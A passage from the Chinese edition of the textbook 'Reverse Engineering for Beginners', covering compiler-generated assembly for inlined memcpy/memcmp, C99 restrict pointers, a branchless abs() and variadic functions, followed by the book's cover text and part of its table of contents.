PTR [eax] lea edx, [ecx+10] mov DWORD PTR [ecx+10], ebx movzx ecx, WORD PTR [eax+4] mov WORD PTR [edx+4], cx movzx eax, BYTE PTR [eax+6] mov BYTE PTR [edx+6], al pop ebx ret 上述指令的操作流程是:首先复制 4 个字节,然后复制一个字(也就是 2 个字节),接着复制最后一个 字节。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 472 逆向工程权威指南(上册) 此外,编译器还会通过赋值指令 MOV 复制结构体(structure)型数据。详情请参见本书的 21.4.1 节。 大尺寸内存块的操作: 不同的编译器会有不同的指令分配方案。 指令清单 43.18 memcpy()内存复制的例子(这里列出了 2 个不同的例子,一个是 128 字节的操作, 另外一个则是 123 字节的内存操作) void memcpy_128(char *inbuf, char *outbuf) { memcpy(outbuf+10, inbuf, 128); }; void memcpy_123(char *inbuf, char *outbuf) { memcpy(outbuf+10, inbuf, 123); }; MSVC 分配了单条 MOVSD 指令。在循环控制变量 ECX 的配合下,MOVSD 可一步完成 128 个字节 的数据复制。其原因显然是 128 能被 4 整除。 指令清单 43.19 MSVC 2010 优化 _inbuf$ = 8 ; size = 4 _outbuf$ = 12 ; size = 4 _memcpy_128 PROC push esi mov esi, DWORD PTR _inbuf$[esp] push edi mov edi, DWORD PTR _outbuf$[esp+4] add edi, 10 mov ecx, 32 rep movsd pop edi pop esi ret 0 _memcpy_128 ENDP 在复制 123 个字节的程序里,编译器首先通过MOVSD指令复制 30 个 32 ① ① 应该为 4 个字节。 字节(也就是 120 字节),然 后依次通过MOVSW指令和MOVSB指令复制 2 个字节和 1 个字节。 指令清单 43.20 采用 MSVC 2010 优化指令 _inbuf$ = 8 ; size = 4 _outbuf$ = 12 ; size = 4 _memcpy_123 PROC push esi mov esi, DWORD PTR _inbuf$[esp] push edi mov edi, DWORD PTR _outbuf$[esp+4] add edi, 10 mov ecx, 30 rep movsd movsw movsb pop edi pop esi ret 0 _memcpy_123 ENDP GCC 则分配了一个大型的通用的函数。这个函数适用于任意大小的内存块复制操作。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 43 章 内 联 函 数 473 指令清单 43.21 采用 GCC 4.8.1 优化 memcpy_123: .LFB3: push edi mov eax, 123 push esi mov edx, DWORD PTR [esp+16] mov esi, DWORD PTR [esp+12] lea edi, [edx+10] test edi, 1 jne .L24 test edi, 2 jne .L25 .L7: mov ecx, eax xor edx, edx shr ecx, 2 test al, 2 rep movsd je .L8 movzx edx, WORD PTR [esi] mov WORD PTR [edi], dx mov edx, 2 .L8: test al, 1 je .L5 movzx eax, BYTE PTR [esi+edx] mov BYTE PTR [edi+edx], al .L5: pop esi pop edi ret .L24: movzx eax, BYTE PTR [esi] lea edi, [edx+11] add esi, 1 test edi, 2 mov BYTE PTR [edx+10], al mov eax, 122 je .L7 .L25: movzx edx, WORD PTR [esi] add edi, 2 add esi, 2 sub eax, 2 mov WORD PTR [edi-2], dx jmp .L7 .LFE3: 通用内存复制函数通常的工作原理如下:首先计算块有多少个字(32 位),然后用 MOVSD 指令复制 这些内存块,然后逐一复制剩余的字节。 更为复杂的内存复制函数则会利用 SIMD 指令集进行复制,这种复制还会涉及内存地址对齐的问题。有 兴趣的读者可以参阅本书第 25 章的第 2 节。 43.1.6 内存对比函数 memcmp() 指令清单 43.22 memcmp()函数的例子 void memcpy_1235(char *inbuf, char *outbuf) { memcpy(outbuf+10, inbuf, 1235); }; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 474 逆向工程权威指南(上册) 无论内存块的尺寸是多大,MSVC 2010 都会插入相同的通用比较函数。 指令清单 43.23 MSVC 2010 优化程序 _buf1$ = 8 ; size = 4 _buf2$ = 12 ; size = 4 _memcmp_1235 PROC mov edx, DWORD PTR _buf2$[esp-4] mov ecx, DWORD PTR _buf1$[esp-4] push esi push edi mov esi, 1235 add edx, 10 $LL4@memcmp_123: mov eax, DWORD PTR [edx] cmp eax, DWORD PTR [ecx] jne SHORT $LN10@memcmp_123 sub esi, 4 add ecx, 4 add edx, 4 cmp esi, 4 jae SHORT $LL4@memcmp_123 $LN10@memcmp_123: movzx edi, BYTE PTR [ecx] movzx eax, BYTE PTR [edx] sub eax, edi jne SHORT $LN7@memcmp_123 movzx eax, BYTE PTR [edx+1] movzx edi, BYTE PTR [ecx+1] sub eax, edi jne SHORT $LN7@memcmp_123 movzx eax, BYTE PTR [edx+2] movzx edi, BYTE PTR [ecx+2] sub eax, edi jne SHORT $LN7@memcmp_123 cmp esi, 3 jbe SHORT $LN6@memcmp_123 movzx eax, BYTE PTR [edx+3] movzx ecx, BYTE PTR [ecx+3] sub eax, ecx $LN7@memcmp_123: sar eax, 31 pop edi or eax, 1 pop esi ret 0 $LN6@memcmp_123: pop edi xor eax, eax pop esi ret 0 _memcmp_1235 ENDP 43.1.7 IDA 脚本 笔者编写了一个检索、收缩(folding)常见内联函数的 IDA 脚本。有兴趣的读者请访问: https://github.com/yurichev/IDA_scripts 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 4444 章 章 CC9999 标 标准 准的 的受 受限 限指 指针 针 在某些情况下,用 FORTRAN 系统编译出来的程序会比用 C/C++系统编译出来的程序运行得更快。例 如,下面这个例子就是如此: void f1 (int* x, int* y, int* sum, int* product, int* sum_product, int* update_me, size_t s) { for (int i=0; i<s; i++) { sum[i]=x[i]+y[i]; product[i]=x[i]*y[i]; update_me[i]=i*123; // some dummy value sum_product[i]=sum[i]+product[i]; }; }; 这个程序的功能十分简单,但是里面的指针问题却发人深思:同一块内存可以由多个指针来访问,因 此同一个地址的数据可能会被多个指针轮番复写。至少现行标准并不禁止这种情况。 C 语言编译器完全允许上述情况。因此,它分四个阶段处理每次迭代的各类数组:  制备 sum[i];  制备 product[i];  制备 update_me[i];  制备 sum_product[i]。在这个阶段,计算机将从内存里重新加载 sum[i]和 product[i]。 第四个阶段是否存在进一步优化的空间呢?既然前面已经计算好了 sum[i]和 product[i],那么后面我们 应该就不必再从内存中读取它们的值了。 答案是肯定的。 只是编译器本身并不能在第三个阶段确定前两个阶段的赋值没有被其他指令覆盖。换而言之,因为编 译器不能判断该程序里是否存在指向相同内存区域的指针——即“指针别名(pointer aliasing)”,所以 编译 器不能确保该指针指向的内存没被改写。 C99 标准中的受限指针[ISO07,6.7.3 节](部分文献又称“严格别名”)的应运而生。编程人员可通 过受限指针的 strict 修饰符向编译器承诺:被该关键字标记的指针是操作相关内存区域的唯一指针,没有其 他指针重复指向这个指针所操作的内存区域。 用更为确切、更为正式的语言来说,关键字“restrict”表示该指针是访问既定对象的唯一指针,其他 指针都不会重复操作既定对象。从另一个角度来看,一旦某个指针被标记为受限指针,那么编译器就认定 既定对象只会被指定的受限指针操作。 下面我们将为每个指针都增加上 restrict 修饰符: void f2 (int* restrict x, int* restrict y, int* restrict sum, int* restrict product, int* restrict sum_product, int* restrict update_me, size_t s) { for (int i=0; i<s; i++) { sum[i]=x[i]+y[i]; product[i]=x[i]*y[i]; update_me[i]=i*123; // some dummy value sum_product[i]=sum[i]+product[i]; }; }; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 476 逆向工程权威指南(上册) 我们看到的结果如下所示。 指令清单 44.1 x64 下的 GCC 函数 f1() f1: push r15 r14 r13 r12 rbp rdi rsi rbx mov r13, QWORD PTR 120[rsp] mov rbp, QWORD PTR 104[rsp] mov r12, QWORD PTR 112[rsp] test r13, r13 je .L1 add r13, 1 xor ebx, ebx mov edi, 1 xor r11d, r11d jmp .L4 .L6: mov r11, rdi mov rdi, rax .L4: lea rax, 0[0+r11*4] lea r10, [rcx+rax] lea r14, [rdx+rax] lea rsi, [r8+rax] add rax, r9 mov r15d, DWORD PTR [r10] add r15d, DWORD PTR [r14] mov DWORD PTR [rsi], r15d ; store to sum[] mov r10d, DWORD PTR [r10] imul r10d, DWORD PTR [r14] mov DWORD PTR [rax], r10d ; store to product[] mov DWORD PTR [r12+r11*4], ebx ; store to update_me[] add ebx, 123 mov r10d, DWORD PTR [rsi] ; reload sum[i] add r10d, DWORD PTR [rax] ; reload product[i] lea rax, 1[rdi] cmp rax, r13 mov DWORD PTR 0[rbp+r11*4], r10d ; store to sum_product[] jne .L6 .L1: pop rbx rsi rdi rbp r12 r13 r14 r15 ret 指令清单 44.2 x64 下的 GCC 函数 f2() f2: push r13 r12 rbp rdi rsi rbx mov r13, QWORD PTR 104[rsp] mov rbp, QWORD PTR 88[rsp] mov r12, QWORD PTR 96[rsp] test r13, r13 je .L7 add r13, 1 xor r10d, r10d mov edi, 1 xor eax, eax jmp .L10 .L11: mov rax, rdi mov rdi, r11 .L10: mov esi, DWORD PTR [rcx+rax*4] mov r11d, DWORD PTR [rdx+rax*4] mov DWORD PTR [r12+rax*4], r10d ; store to update_me[] add r10d, 123 lea ebx, [rsi+r11] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 44 章 C99 标准的受限指针 477 imul r11d, esi mov DWORD PTR [r8+rax*4], ebx ; store to sum[] mov DWORD PTR [r9+rax*4], r11d ; store to product[] add r11d, ebx mov DWORD PTR 0[rbp+rax*4], r11d ; store to sum_product[] lea r11, 1[rdi] cmp r11, r13 jne .L11 .L7: pop rbx rsi rdi rbp r12 r13 ret f1()函数和 f2()函数的不同之处在于:在 f1()函数中,sum[i]和 product[i]数组在循环中会再次加载;而 函数 f2()则没有这种重新加载内存数值的操作。在改动后的程序里,因为我们向编译器“承诺”sum[i]和 product[i]的值不会被其他指针复写,所以计算机会重复利用前几个阶段制备好的各项数据,不再从内存加 载它们的值了。很明显,改进后的程序运行速度更快一些。 如果我们声明了某个指针是受限指针,而实际的程序又有其他指针操作这个受限指针操作的内存区域, 将会发生什么情况?这真的就是程序员的事了,不过程序运行的结果肯定是错误的。 FORTRAN 语言的编译器把所有指针都视为受限指针。因此,在 C 语言不支持 C99 标准的 restrict 修饰 符而实际指针属于受限指针的时候,用 FORTRAN 语言编译出来的应用程序会比用 C 语言编译出来的程序 运行得更快。 受限指针主要用于哪些领域?它主要用于操作多个大尺寸内存块的应用方面。例如,在超级计算机/HPC 平台上经常进行的线性方程组求解就属于这种类型的应用。或许,这正是这种平台普遍采用 FORTRAN 语 言的原因之一吧。 另一方面,在循环语句的迭代次数不是非常高的情况下,受限指针带来的性能提升就不会十分明显。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 4455 章 章 打 打造 造无 无分 分支 支的 的 aabbss(())函 函数 数 请回顾前文第 12 章第 2 节的那个函数。请设想一下,能否用 x86 的汇编指令打造一个无分支的版本? int my_abs (int i) { if (i<0) return -i; else return i; }; 答案当然是肯定的。 45.1 x64 下的 GCC 4.9.1 优化 首先我们来看看,如果我们采用 GCC 4.9 来编译的话,会出现什么情况。 指令清单 45.1 x64 下的 GCC 4.9 优化 my_abs: mov edx, edi mov eax, edi sar edx, 31 ; EDX is 0xFFFFFFFF here if sign of input value is minus ; EDX is 0 if sign of input value is plus (including 0) ; the following two instructions have effect only if EDX is 0xFFFFFFFF ; or idle if EDX is 0 xor eax, edx sub eax, edx ret 以下是其实现过程的描述: SAR算术右 ① 45.2 ARM64 下的 GCC 4.9 优化 移:算术右移 31 位,我们知道算术右移是带符号的操作。有符号数的最高有效位MSB 就是其符号位。也就是说,如果MSB的值为 1(原操作数是负数),那么右移 31 位后,不管原来的数是什 么,得到的结果都会是 0xffffffff。当然如果MSB的值为 0(原操作数是正数或零),那么最后的结果就会 是零。执行完SAR后,返回值被存放在EDX寄存器中。后面就是XOR指令。当原操作数是负数时,这条 指令就变成了“XOR{寄存器},0xffffffff”,相当于逐位求非的逻辑非运算;其后的SUB指令会完成补码 运算的“减去负一(加一)”运算、求得绝对值,因为此时EDX寄存器的值是 0xffffffff——十进制的“-1”。 有关两个数的逻辑运算和递增运算详解,请参阅本书第 30 章。 因此,当源操作数是负数的时候,最后两条运算指令会对源操作数进行处理。在符号位的值为零,即 零和正数的情况下,最后两条运算指令不会调整源操作数的值。 有关本例的详细算法,请查阅参考书目[War02,pp.2-4]的相关介绍。GCC 或许借鉴了现有的成熟 算法,或许这正是它自己推演的计算结果。 GCC 4.9 for ARM64 的编译方式和 GCC for x64 的编译方式几乎相同,只是它使用的是自己 CPU 平台 ① 原文为左移。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 45 章 打造无分支的 abs()函数 479 的 64 位寄存器而已。由于 ARM64 可以通过参数调节符 ASR 在别的指令里完成位移运算,因此 GCC 4.9 for ARM64 比 GCC for x64 分配的指令少。 指令清单 45.2 ARM64 下的 GCC 4.9 优化 my_abs: ; sign-extend input 32-bit value to X0 64-bit register: sxtw x0, w0 eor x1, x0, x0, asr 63 ; X1=X0^(X0>>63) (shift is arithmetical) sub x0, x1, x0, asr 63 ; X0=X1-(X0>>63)=X0^(X0>>63)-(X0>>63) (all shifts are arithmetical) ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 4466 章 章 变 变长 长参 参数 数函 函数 数 像 printf()和 scanf()一类的函数可以处理不同数量的输入参数。这种函数又是如何访问参数的呢? 46.1 计算算术平均值 如果要编写一个计算算术平均值的函数,那么就需要在函数的参数声明部分指定所有的外来参数。但 是 C/C++的变长参数函数却无法事先知道外来参数的数量。为了方便起见,我们用“-1”作为最后一个参 数兼其他参数的终止符。 C 语言标准函数库的头文件 stdarg.h 定义了变长参数的处理方法(宏)。刚才提到的 printf()函数和 scanf() 函数都使用了这个文件提供的宏。 #include <stdio.h> #include <stdarg.h> int arith_mean(int v, ...) { va_list args; int sum=v, count=1, i; va_start(args, v); while(1) { i=va_arg(args, int); if (i==-1) // terminator break; sum=sum+i; count++; } va_end(args); return sum/count; }; int main() { printf ("%d\n", arith_mean (1, 2, 7, 10, 15, -1 /* terminator */)); }; 变长参数函数按照常规函数参数的方法访问外部传来的第一个参数。而后,程序借助 stdarg.h 提供的 宏 var_arg 调用其余参数,依次求得各参数之和,最终计算其平均值。 46.1.1 cdecl 调用规范 指令清单 46.1 MSVC 6.0 优化 _v$ = 8 _arith_mean PROC NEAR mov eax, DWORD PTR _v$[esp-4] ; load 1st argument into sum push esi mov esi, 1 ; count=1 lea edx, DWORD PTR _v$[esp] ; address of the 1st argument $L838: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 46 章 变长参数函数 481 mov ecx, DWORD PTR [edx+4] ; load next argument add edx, 4 ; shift pointer to the next argument cmp ecx, -1 ; is it -1? je SHORT $L856 ; exit if so add eax, ecx ; sum = sum + loaded argument inc esi ; count++ jmp SHORT $L838 $L856: ; calculate quotient cdq idiv esi pop esi ret 0 _arith_mean ENDP $SG851 DB '%d', 0aH, 00H _main PROC NEAR push -1 push 15 push 10 push 7 push 2 push 1 call _arith_mean push eax push OFFSET FLAT:$SG851 ; '%d' call _printf add esp, 32 ret 0 _main ENDP 在 main()函数里,各项参数从右向左依次逆序传递入栈。第一个入栈的是最后一项参数“-1”,而最后 入栈的是第一项参数——格式化字符串。 函数 arith_mean()取出第一个参数的值,并将其保存在变量 sum 中。接着,将第二个参数的地址保存 在寄存器 EDX 中,并取出其值,与前面的 sum 相加。如此循环往复,直到参数的终止符−1。 当找到了参数串的结尾后,程序再将所有数的算术和 sum 除以参数的个数(当然不包括终止符−1)。 按照这种算法计算出来的商就是各参数的算术平均值。 换句话说,在调用变长参数函数时,调用方函数先把不确定长度的参数堆积为数组,再通过栈把这个 数组传递给变长函数参数。这就解释了为什么 cdecl 调用规范会要求将第一个参数最后一个推送入栈了。 因为如果不这样的话,被调用方函数会找不到第一个参数,这会导致 printf()这样的函数因为找不到格式化 字符串的地址而无法运行。 46.1.2 基于寄存器的调用规范 细心的读者也可能会问,那些优先利用寄存器传递参数的调用规范是什么情况?下面我们就来看看。 指令清单 46.2 x64 下的 MSVC 2012 优化 $SG3013 DB '%d', 0aH, 00H v$ = 8 arith_mean PROC mov DWORD PTR [rsp+8], ecx ; 1st argument mov QWORD PTR [rsp+16], rdx ; 2nd argument mov QWORD PTR [rsp+24], r8 ; 3rd argument mov eax, ecx ; sum = 1st argument lea rcx, QWORD PTR v$[rsp+8] ; pointer to the 2nd argument mov QWORD PTR [rsp+32], r9 ; 4th argument mov edx, DWORD PTR [rcx] ; load 2nd argument 异步社区会员 dearfuture(15918834820) 专享 尊重版权 482 逆向工程权威指南(上册) mov r8d, 1 ; count=1 cmp edx, -1 ; 2nd argument is -1? je SHORT $LN8@arith_mean ; exit if so $LL3@arith_mean: add eax, edx ; sum = sum + loaded argument mov edx, DWORD PTR [rcx+8] ; load next argument lea rcx, QWORD PTR [rcx+8] ; shift pointer to point to the argument after next inc r8d ; count++ cmp edx, -1 ; is loaded argument -1? jne SHORT $LL3@arith_mean ; go to loop begin if its not' $LN8@arith_mean: ; calculate quotient cdq idiv r8d ret 0 arith_mean ENDP main PROC sub rsp, 56 mov edx, 2 mov DWORD PTR [rsp+40], -1 mov DWORD PTR [rsp+32], 15 lea r9d, QWORD PTR [rdx+8] lea r8d, QWORD PTR [rdx+5] lea ecx, QWORD PTR [rdx-1] call arith_mean lea rcx, OFFSET FLAT:$SG3013 mov edx, eax call printf xor eax, eax add rsp, 56 ret 0 main ENDP 在这个程序里,寄存器负责传递函数的前 4 个参数,栈用来传递其余的 2 个参数。函数 arith_mean() 首先将寄存器传递的 4 个参数存放在阴影空间里,把阴影空间和传递参数的栈合并成了统一而连续的参数数组! GCC 会如何处理参数呢?与 MSVC 相比,GCC 在编译的时候略显画蛇添足。它会把函数分为两部分: 第一部分的指令将寄存器的值保存在“红色地带”,并在那里进行处理;而第二部分指令再处理栈的数据。 指令清单 46.3 x64 下的 GCC 4.9.1 的优化 arith_mean: lea rax, [rsp+8] ; save 6 input registers in "red zone" in the local stack mov QWORD PTR [rsp-40], rsi mov QWORD PTR [rsp-32], rdx mov QWORD PTR [rsp-16], r8 mov QWORD PTR [rsp-24], rcx mov esi, 8 mov QWORD PTR [rsp-64], rax lea rax, [rsp-48] mov QWORD PTR [rsp-8], r9 mov DWORD PTR [rsp-72], 8 lea rdx, [rsp+8] mov r8d, 1 mov QWORD PTR [rsp-56], rax jmp .L5 .L7: ; work out saved arguments lea rax, [rsp-48] mov ecx, esi add esi, 8 add rcx, rax mov ecx, DWORD PTR [rcx] cmp ecx, -1 je .L4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 46 章 变长参数函数 483 .L8: add edi, ecx add r8d, 1 .L5: ; decide, which part we will work out now. ; is current argument number less or equal 6? cmp esi, 47 jbe .L7 ; no, process saved arguments then ; work out arguments from stack mov rcx, rdx add rdx, 8 mov ecx, DWORD PTR [rcx] cmp ecx, -1 jne .L8 .L4: mov eax, edi cdq idiv r8d ret .LC1: .string "%d\n" main: sub rsp, 8 mov edx, 7 mov esi, 2 mov edi, 1 mov r9d, -1 mov r8d, 15 mov ecx, 10 xor eax, eax call arith_mean mov esi, OFFSET FLAT:.LC1 mov edx, eax mov edi, 1 xor eax, eax add rsp, 8 jmp __printf_chk 另外,本书第 64 章第 8 节介绍了阴影空间的另外一个案例。 46.2 vprintf()函数例子 在编写日志(logging)函数的时候,多数人都会自己构造一种与 printf 类似的、处理“格式化字符串+一 系列(但是数量可变)的内容参数”的变长参数函数。 另外一种常见的变长参数函数就是下文的这种 die()函数。这是一种在显示提示信息之后随即退出整个 程序的异常处理函数。它需要把不确定数量的输入参数打包、封装并传递给 printf()函数。如何实现呢?这 些函数名称前面有一个字母 v 的,这是因为它应当能够处理不确定数量(variable.可变的)的参数。以 die() 函数调用的 vprintf()函数为例,它的输入变量就可分为两部分:一部分是格式化字符串,另一部分是带有 多种类型数据变量列表 va_list 的指针。 #include <stdlib.h> #include <stdarg.h> void die (const char * fmt, ...) { va_list va; va_start (va, fmt); vprintf (fmt, va); exit(0); }; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 484 逆向工程权威指南(上册) 仔细观察就会发现,va_list 是一个指向数组的指针。在编译后,这个特征非常明显: 指令清单 46.4 MSVC 2010 下的程序优化 _fmt$ = 8 _die PROC ; load 1st argument (format-string) mov ecx, DWORD PTR _fmt$[esp-4] ; get pointer to the 2nd argument lea eax, DWORD PTR _fmt$[esp] push eax ; pass pointer push ecx call _vprintf add esp, 8 push 0 call _exit $LN3@die: int 3 _die ENDP 由此可知,die()函数实现的功能就是:取一个指向参数的指针,再将其传送给 vprintf()函数。变长参 数(序列)像数组那样被来回传递。 指令清单 46.5 x64 下的 MSVC 2012 优化 fmt$ = 48 die PROC ; save first 4 arguments in Shadow Space mov QWORD PTR [rsp+8], rcx mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+24], r8 mov QWORD PTR [rsp+32], r9 sub rsp, 40 lea rdx, QWORD PTR fmt$[rsp+8] ; pass pointer to the 1st argument ; RCX here is still points to the 1st argument (format-string) of die() ; so vprintf() will take it right from RCX call vprintf xor ecx, ecx call exit int 3 die ENDP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 分类建议: 计算机/软件开发/安全 人民邮电出版社网址:www.ptpress.com.cn 上册 上册 逆向工程权威指南 逆 向 工 程 权 威 指 南 逆向工程是一种分析目标系统的过程。 本书专注于软件逆向工程,即研究编译后的可执行程序。本书是写给初学者 的一本权威指南。全书共分为12个部分,共102章,涉及软件逆向工程相关 的众多技术话题,堪称是逆向工程技术百科全书。全书讲解详细,附带丰富 的代码示例,还给出了很多习题来帮助读者巩固所学的知识,附录部分给出 了习题的解答。 本书适合对逆向工程技术、操作系统底层技术、程序分析技术感兴趣的读者 阅读,也适合专业的程序开发人员参考。 “... 谨向这本出色的教程致以个人的敬意!” —— Herbert Bos,阿姆斯特丹自由大学教授 《Modern Operating Systems (4th Edition)》作者 “... 引人入胜,值得一读!” —— Michael Sikorski 《Practical Malware Analysis》的作者 作者简介 Dennis Yurichev,乌克兰程序员,安全技术专家。读者可以 通过https://yurichev.com/联系他,并获取和本书相关的更多 学习资料。 R e v e r s e E n g i n e e r i n g f o r B e g i n n e r s 权威指南 上册 [乌克兰] Dennis Yurichev◎著 Archer 安天安全研究与应急处理中心◎译 逆向工程 Reverse Engineering for Beginners Reverse Engineering Windows ARM iOS Linux Reversing 美术编辑:董志桢 ● 了解逆向工程的权威指南 ● 初学者必备的大百科全书 ● 安天网络安全工程师培训必读书目 FM43445逆向工程权威指南 上.indd 1-3 17-3-6 上午11:19 异步社区会员 dearfuture(15918834820) 专享 尊重版权 分类建议: 计算机/软件开发/安全 人民邮电出版社网址:www.ptpress.com.cn 下册 下册 逆向工程权威指南 逆 向 工 程 权 威 指 南 逆向工程是一种分析目标系统的过程。 本书专注于软件逆向工程,即研究编译后的可执行程序。本书是写给初学者 的一本权威指南。全书共分为12个部分,共102章,涉及软件逆向工程相关 的众多技术话题,堪称是逆向工程技术百科全书。全书讲解详细,附带丰富 的代码示例,还给出了很多习题来帮助读者巩固所学的知识,附录部分给出 了习题的解答。 本书适合对逆向工程技术、操作系统底层技术、程序分析技术感兴趣的读者 阅读,也适合专业的程序开发人员参考。 “... 谨向这本出色的教程致以个人的敬意!” —— Herbert Bos,阿姆斯特丹自由大学教授 《Modern Operating Systems (4th Edition)》作者 “... 引人入胜,值得一读!” —— Michael Sikorski 《Practical Malware Analysis》的作者 作者简介 Dennis Yurichev,乌克兰程序员,安全技术专家。读者可以 通过https://yurichev.com/联系他,并获取和本书相关的更多 学习资料。 R e v e r s e E n g i n e e r i n g f o r B e g i n n e r s 权威指南 下册 [乌克兰] Dennis Yurichev◎著 Archer 安天安全研究与应急处理中心◎译 逆向工程 Reverse Engineering for Beginners Reverse Engineering Windows ARM iOS Linux Reversing 美术编辑:董志桢 ● 了解逆向工程的权威指南 ● 初学者必备的大百科全书 ● 安天网络安全工程师培训必读书目 FM43445逆向工程权威指南 下.indd 1-3 17-3-6 上午11:19 异步社区会员 dearfuture(15918834820) 专享 尊重版权 目 目 录 录 第 47 章 字符串剪切 .................................... 485 47.1 x64 下的 MSVC 2013 优化 ................ 486 47.2 x64 下采用编辑器 GCC 4.9.1 进行非 优化操作 ............................................. 487 47.3 x64 下的 GCC 4.9.1 优化 ................... 488 47.4 ARM64:非优化的 GCC(Linaro)4.9 ............................. 489 47.5 ARM64:优化 GCC(Linaro)4.9 ....... 490 47.6 ARM: Keil 6/2013 优化 (ARM 模式) ...................................... 491 47.7 ARM:Keil 6/2013(Thumb 模式) 优化 ..................................................... 492 47.8 MIPS .................................................... 493 第 48 章 toupper()函数 .............................. 495 48.1 x64 ....................................................... 495 48.1.1 两个比较操作 .......................... 495 48.1.2 一个比较操作 .......................... 496 48.2 ARM .................................................... 497 48.2.1 ARM64 下的 GCC ................... 497 48.3 总结 ..................................................... 498 第 49 章 不正确的反汇编代码 ................. 499 49.1 x86 环境下的从一开始错误的 反汇编 ................................................. 499 49.2 随机噪音,怎么看起来像反汇编 指令? ................................................. 500 第 50 章 混淆技术 ........................................ 505 50.1 字符串变换 ......................................... 505 50.2 可执行代码 ......................................... 506 50.2.1 插入垃圾代码 .......................... 506 50.2.2 用多个指令组合代替原来的 一个指令 .................................. 506 50.2.3 始终执行或者从来不会执行的 代码 .......................................... 506 50.2.4 把指令序列搞乱 ...................... 507 50.2.5 使用间接指针 .......................... 507 50.3 虚拟机以及伪代码 ............................. 507 50.4 一些其他的事情 ................................. 507 50.5 练习题 ................................................. 508 50.5.1 练习 1 ........................................ 508 第 51 章 C++ .................................................. 509 51.1 类 ......................................................... 509 51.1.1 一个简单的例子 ....................... 509 51.1.2 类继承 ....................................... 515 51.1.3 封装 ........................................... 518 51.1.4 多重继承 ................................... 520 51.1.5 虚拟方法 ................................... 523 51.2 ostream 输出流 .................................... 526 51.3 引用 ..................................................... 527 51.4 STL/标准模板库(Standard Template Library) ............................................. 528 51.4.1 std::string(字符串) ............... 528 51.4.2 std::list ....................................... 535 51.4.3 std::vector 标准向量 ................. 545 51.4.4 std::map()和 std::set()................ 552 第 52 章 数组与负数索引 ........................... 563 第 53 章 16 位的 Windows 程序 .............. 566 53.1 例子#1.................................................. 566 53.2 例子#2.................................................. 566 53.3 例子#3.................................................. 567 53.4 例子#4.................................................. 568 53.5 例子#5.................................................. 571 53.6 例子#6.................................................. 574 53.6.1 全局变量 ................................... 576 第四部分 Java 第 54 章 Java .................................................. 581 54.1 简介 ..................................................... 581 54.2 返回一个值 .......................................... 581 54.3 简单的计算函数 .................................. 586 54.4 JVM 的内存模型 ................................. 588 54.5 简单的函数调用 .................................. 588 54.6 调用函数 beep()(蜂鸣器) ............... 590 54.7 线性同余随机数产生器(PRNG) ... 591 54.8 条件转移 .............................................. 592 54.9 传递参数 .............................................. 594 54.10 位操作................................................ 595 异步社区会员 dearfuture(15918834820) 专享 尊重版权 2 逆向工程权威指南(下册) 54.11 循环 ................................................... 596 54.12 switch()语句 ...................................... 598 54.13 数组 ................................................... 599 54.13.1 简单的例子 ............................ 599 54.13.2 数组元素求和 ........................ 601 54.13.3 输入变量为数组的主函数 main() ...................................... 601 54.13.4 预设初始值的的数组 ............. 602 54.13.5 可变参数函数 ........................ 604 54.13.6 二维数组 ................................ 606 54.13.7 三维数组 ................................ 606 54.13.8 小结 ........................................ 607 54.14 字符串 ............................................... 607 54.14.1 第一个例子 ............................ 607 54.14.2 第二个例子 ............................ 608 54.15 异常处理 ........................................... 609 54.16 类 ....................................................... 612 54.17 简单的补丁 ....................................... 614 54.17.1 第一个例子 ............................ 614 54.17.2 第二个例子 ............................ 616 54.18 总结 ................................................... 618 第五部分 在代码中发现重要而有趣的内容 第 55 章 编译器产生的文件特征 ............. 621 55.1 Microsoft Visual C++ .......................... 621 55.1.1 命名规则 .................................. 621 55.2 GCC 编译器 ........................................ 621 55.2.1 命名规则 .................................. 621 55.2.2 Cygwin ...................................... 621 55.2.3 MinGW ..................................... 621 55.3 Intel FORTRAN................................... 621 55.4 Watcom 以及 OpenWatcom ................ 622 55.4.1 命名规则 .................................. 622 55.5 Borland 编译器 ................................... 622 55.5.1 Dephi 编程语言 ........................ 622 55.6 其他的已知 DLL 文件 ........................ 623 第 56 章 Win32 环境下与外部通信 ....... 624 56.1 在 Windows API 中最经常使用的 函数 ..................................................... 624 56.2 tracer:解析指定模块的所有函数 ....... 624 第 57 章 字符串 ............................................. 626 57.1 字符串 ................................................. 626 57.1.1 C/C++中的字符串 .................... 626 57.1.2 Borland Delphi .......................... 626 57.1.3 Unicode 编码 ............................ 626 57.1.4 Base64 ....................................... 628 57.2 错误/调试信息 ..................................... 629 57.3 可疑的魔数字符串 .............................. 629 第 58 章 调用宏 assert()(中文称为 断言) ............................................. 630 第 59 章 常数 .................................................. 631 59.1 魔数 ..................................................... 631 59.1.1 动态主机配置协议(Dynamic Host Configuration Protocol,DHCP) .. 632 59.2 寻找常数 .............................................. 632 第 60 章 检索关键指令 ............................... 633 第 61 章 可疑的代码模型 ........................... 635 61.1 XOR 异或指令 .................................... 635 61.2 手写汇编代码 ...................................... 635 第 62 章 魔数与程序调试 ........................... 637 第 63 章 其他的事情 .................................... 638 63.1 总则 ..................................................... 638 63.2 C++ ...................................................... 638 63.3 部分二进制文件的特征 ...................... 638 63.4 内存“快照”对比 .............................. 638 63.4.1 Windows 注册表 ....................... 639 63.4.2 瞬变比较器 Blink-comparator .... 639 第六部分 操作系统相关 第 64 章 参数的传递方法(调用规范) .... 643 64.1 cdecl [C Declaration 的缩写]............... 643 64.2 stdcall [Standard Call 的缩写] ............. 643 64.2.1 带有可变参数的函数 ............... 644 64.3 fastcall .................................................. 644 64.3.1 GCC regparm ............................ 645 64.3.2 Watcom/OpenWatcom ............... 645 64.4 thiscall .................................................. 645 64.5 64 位下的 x86 ...................................... 646 64.5.1 Windows x64 ............................. 646 64.5.2 64 位下的 Linux ....................... 648 异步社区会员 dearfuture(15918834820) 专享 尊重版权 目 录 3 64.6 单/双精度数型返回值 ........................ 649 64.7 